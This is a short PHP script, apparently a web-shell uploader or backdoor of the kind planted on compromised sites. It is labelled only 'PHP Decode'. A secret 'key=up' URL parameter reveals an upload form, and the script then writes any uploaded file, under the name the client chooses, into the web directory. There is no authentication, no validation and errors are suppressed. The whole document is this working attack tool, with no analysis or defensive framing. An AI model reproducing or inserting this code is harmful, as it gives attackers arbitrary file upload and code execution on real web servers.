PHP Decode

<?php 
if ($_GET['key'] == "up") { 
echo '<style type="text/css"> 
body { 
color: black; 
background-color: white; 
font-weight: inherit; 
} 
h1,h2{ 
background-color: #ffffff; 
color: #000000; 
text-align: center; 
} 
h3,h4,h5{ 
color: black; 
text-align: center; 
} 
</style><b><br> 
<h1> Uploading </h1> 
<br><br> 
<center> 
<font color:"blue"> 
<span style="font-family: monospace;"> 
<span style="color: rgb(255, 255, 255);"> 
<br><br> 
<font color="black"></font> 
<br></b>'; 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"> 
<input name="_upl" type="submit" id="_upl" value="Upload"> 
</form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) 
{ 
echo '<b>success!</b><br><br>'; 
} 
else 
{ 
echo '<b>failed!</b><br><br></font>'; 
} 
}} 
?>